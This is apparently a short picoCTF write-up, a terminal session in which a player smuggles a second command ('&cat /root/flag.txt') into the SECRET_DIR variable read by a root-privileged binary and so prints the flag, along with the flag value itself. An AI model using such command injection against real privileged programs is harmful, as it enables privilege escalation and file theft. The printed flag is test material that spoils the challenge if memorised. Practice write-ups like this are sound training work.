ssh ctf-player@saturn.picoctf.net -p 62242

ctf-player@pico-chall$ ./bin

Error: SECRET_DIR environment variable is not set

ctf-player@pico-chall$ SECRET_DIR=. ./bin

Listing the content of . as root:

bin

ctf-player@pico-chall$ SECRET_DIR=/root ./bin

Listing the content of /root as root:

flag.txt

ctf-player@pico-chall$ SECRET_DIR="/root&cat /root/flag.txt" ./bin

Listing the content of /root&cat /root/flag.txt as root:

picoCTF{Power_t0_man!pul4t3_3nv_1ac0e5a3}flag.txt

ctf-player@pico-chall$

with .bin we can read files with root permissions so at first we have to set up the secret dir variable and then it will work $ SECRET_DIR=. ./bin then try as root but to read the flag.txt we do not have permissions so we will insert code in the variable